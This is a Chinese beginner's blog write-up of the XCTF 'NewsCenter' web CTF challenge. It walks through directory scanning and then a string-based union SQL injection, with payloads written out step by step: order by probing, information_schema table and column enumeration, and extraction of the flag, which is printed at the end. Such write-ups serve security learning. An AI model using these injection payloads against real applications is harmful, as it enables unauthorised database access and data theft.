攻防世界 web进阶区 NewsCenter
Posted trytowritecode
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了攻防世界 web进阶区 NewsCenter相关的知识,希望对你有一定的参考价值。
标题 攻防世界 WEB进阶区 —NewsCenter
最近刚入web这一块想想写了道ctf,新手 勿喷 这也是我第一次写博客
先看题目点开来是这样的界面
说实话一开始没有头绪,看着这个界面觉得很奇怪,但是基于之前写过的几道题我还是按开了F12开发者视图,在里面找了很久没发现什么有用的信息,然后我在想这里有输入框,会不会是xss的题目于是我就写了
发现页面也没有弹窗,于是陷入了漫长的沉思中,然后决定向以往一样先扫个目录看看于是起了dirmap
用 python dirmap.py -i 地址 -lcf
扫出几个于是我打开了一个看看当时看着也挺懵的,这不就是之前那张页面把那些图全去掉了吗(也太随便了)
然后就是抓包 这里推荐用burp suite
在搜索框中输入一个值看到数据包最下方有个POST提交的 search =1
看到这里不知道大家想到了什么没有
(我第一时间是想到了sql注入)
于是我去尝试,因为search框是能输入字符的所以应该先想他为字符型注入
我比较习惯于用 order by 去判断是否有sql注入
于是在这里构造
search=1’ order by 3 --+
burp suite里发送给repeater再尝试search=1’ order by 4 --+非常好出现错误了,原来这道题就是道sql注入的题
接下来是利用sql注入的联合查询
search=-1’ union select 1,2,3 --+判断回显位为2,3
然后search=-1’ union select 1,version(),database() --+
获取sql版本和当前数据库名这里为什么要获取数据库版本呢因为mysql大于5.0以上的版本有一个
系统数据库information_schema里面的tables表和columns表包含了其他所有的表和列这样我们就可以有据查询
并且这里知道了当前数据库为news
然后再构造sql语句
search=-1’ union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=‘news’ --+
这里可以看到有两个表news,和secret_table,news应该就是页面上的那些所以我们去找flag要从secret_table表中去找
再构造sql语句search=-1’ union select 1,version(),group_concat(column_name) from information_schema.columns where table_name=‘secret_table’ --+
看到有两个列id,fl4g答案应该就在fl4g里面了
最后的sql语句
search=-1’ union select 1,version(),group_concat(fl4g) from secret_table --+这样就得到flag值了
QCTF{sq1_inJec7ion_ezzz}
然后就是下一关啦
第一次写博客还望多多海涵!!!
以上是关于攻防世界 web进阶区 NewsCenter的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——7NewsCenter